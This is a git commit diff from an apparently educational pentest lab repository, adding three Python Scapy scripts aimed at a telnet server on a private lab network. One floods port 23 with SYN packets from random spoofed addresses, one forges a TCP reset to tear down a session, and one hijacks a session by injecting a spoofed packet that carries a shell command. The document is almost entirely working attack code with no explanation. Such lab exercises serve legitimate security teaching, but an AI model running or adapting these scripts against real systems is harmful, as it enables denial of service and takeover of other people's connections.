Lab1 only scripts; Lab2 full complete be4 redone
This commit is contained in:
15
pentest/01-network/01-tcpip/02-tcp/volume/opt1.py
Executable file
15
pentest/01-network/01-tcpip/02-tcp/volume/opt1.py
Executable file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
from scapy.all import IP, TCP, send
|
||||
from ipaddress import IPv4Address
|
||||
from random import getrandbits
|
||||
|
||||
ip = IP(dst="10.3.0.4")
|
||||
tcp = TCP(dport=23, flags='S')
|
||||
pkt = ip/tcp
|
||||
|
||||
while True:
|
||||
pkt[IP].src = str(IPv4Address(getrandbits(32)))
|
||||
pkt[TCP].sport = getrandbits(16)
|
||||
pkt[TCP].seq = getrandbits(32)
|
||||
send(pkt, iface = 'eth0', verbose = 0)
|
||||
7
pentest/01-network/01-tcpip/02-tcp/volume/opt2.py
Executable file
7
pentest/01-network/01-tcpip/02-tcp/volume/opt2.py
Executable file
@@ -0,0 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import IP,TCP,send,ls
|
||||
ip = IP(src="10.3.0.3", dst="10.3.0.4")
|
||||
tcp = TCP(sport=55418, dport=23, flags="R", seq=3707590235)
|
||||
pkt = ip/tcp
|
||||
ls(pkt)
|
||||
send(pkt, verbose=0)
|
||||
8
pentest/01-network/01-tcpip/02-tcp/volume/opt3.py
Executable file
8
pentest/01-network/01-tcpip/02-tcp/volume/opt3.py
Executable file
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import IP,TCP,send,ls
|
||||
ip = IP(src="10.3.0.3", dst="10.3.0.4")
|
||||
tcp = TCP(sport=60124, dport=23, flags="PA", seq=1386786213, ack=482847772)
|
||||
data = "\r mkdir 1337 \r"
|
||||
pkt = ip/tcp/data
|
||||
ls(pkt)
|
||||
send(pkt, verbose=0)
|
||||
Reference in New Issue
Block a user